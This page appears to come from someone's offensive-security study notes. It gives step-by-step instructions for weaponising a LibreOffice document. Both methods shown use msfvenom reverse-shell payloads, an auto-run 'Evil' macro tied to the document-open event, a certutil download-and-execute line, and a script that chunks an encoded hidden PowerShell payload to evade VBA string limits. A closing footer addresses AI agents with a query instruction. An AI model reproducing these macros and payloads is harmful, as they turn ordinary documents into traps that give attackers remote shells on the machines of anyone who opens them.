# Open Office

### 1. Way

First, you need to install libreoffice.

```
$ sudo apt install libreoffice
```

Create an odt file.

Adding macro:

Tools -> Macros -> Organize Macros -> Basic -> Select the document -> New(Macro Name module)

Then edit the macro:

Select Macro Name -> Edit

We should create a executable for shell.

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.147 LPORT=80 -f exe -o shell.exe
```

Add these contents to macro page.

```
Sub Evil
    Shell("certutil.exe -urlcache -split -f http://192.168.49.147:8080/shell.exe C:\Windows\Temp\shell.exe && \Windows\Temp\shell.exe")
End Sub
```

Finally, we will make a creation of trigger to execute our macro.

Tools -> Customize -> Events -> Select "Open Document" -> Click: “Assign: Macro” -> Select the document's macro which name is Evil.

### 2. Way

First, you need to install libreoffice.

```
$ sudo apt install libreoffice
```

Create an odt file.

Adding macro:

Tools -> Macros -> Organize Macros -> Basic -> Select the document -> New(Macro Name module)

Then edit the macro:

Select Macro Name -> Edit

We will create an evil payload for shell.

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.175 LPORT=443 -f hta-psh -o evil.hta

Inside this file, we can find the following command. 
Paste contents of it to str variable in vba.py.
"powershell.exe -nop -w hidden -e aQBmACg......"
```

VBA has a 255-character limit for literal strings, but this restriction does not apply to strings stored in variables.

**vba.py:**

```
#!/usr/bin/python

str = "cmd.exe /c powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdA..."

n=50

for i in range(0, len(str), n):
	print "Str = Str + " + '"'+ str[i:i+n] + '"'
```

Our goal is to transform this string workable, as follows. Finally, macro should be look like this.

```
Sub Evil

	Dim Str As String
	
	Str = Str + "cmd.exe /c powershell.exe -nop -w hidden -e aQBmAC"
	Str = Str + "gAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEA"
	Str = Str + "IAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALg"
	Str = Str + "BlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3"
	...
	Str = Str + "AFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAH"
	Str = Str + "kAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAA"
	Str = Str + "cgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOw"
	Str = Str + "A="
	
	Shell(Str)
	
End Sub
```

Finally, we will make a creation of trigger to execute our macro.

Tools -> Customize -> Events -> Select "Open Document" -> Click: “Assign: Macro” -> Select the document's macro which name is Evil.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/readme/windows/office-macro/open-office.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.